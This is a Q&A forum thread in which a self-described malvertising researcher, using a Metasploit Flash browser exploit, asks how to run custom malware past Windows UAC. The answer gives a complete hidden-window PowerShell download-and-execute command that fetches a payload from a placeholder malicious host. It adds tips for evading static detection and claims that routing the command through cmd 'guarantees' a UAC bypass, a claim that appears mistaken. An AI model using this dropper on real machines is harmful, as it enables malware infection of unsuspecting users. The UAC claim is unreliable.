I have a research project about "Malvertising". I try to show an attack by using metasploit and I am using a Flash Plugin to hack the victim (exploit/multi/browser/adobe_flash_hacking_team_uaf)

This works fine and I want to execute a selfdeveloped invasiv malware. So I am using as payload (windows/download_exec) to download my file.

Windows 7 supports UAC, so I can't start my file without prompting.

I know metasploit has some exploits to bypass UAC, but all of them require a meterpreter session. I don't have that in my case.

Can I use this exploit to integrate it with my malware?


There are many other ways to bypass UAC regardless of the use of metasploit, since you are talking about Flash plugin, your "exploit" is going to be delivered via a browser. If you take the example of the recently discovered file-less malware "Dimnie", the payload is dropped using Powershell, to avoid static detection it introduces characters which the Windows shell will ignore (e.g: ^), but the "readable" code that will definitely bypass UAC will look like:

cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://malicious.ma/somefolder/your_payload.exe','%dropfolder%.exe');start-process '%dropfolder%.exe'"

Passing via cmd will generally guarantee you an UAC bypass, at least at user level privilege.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.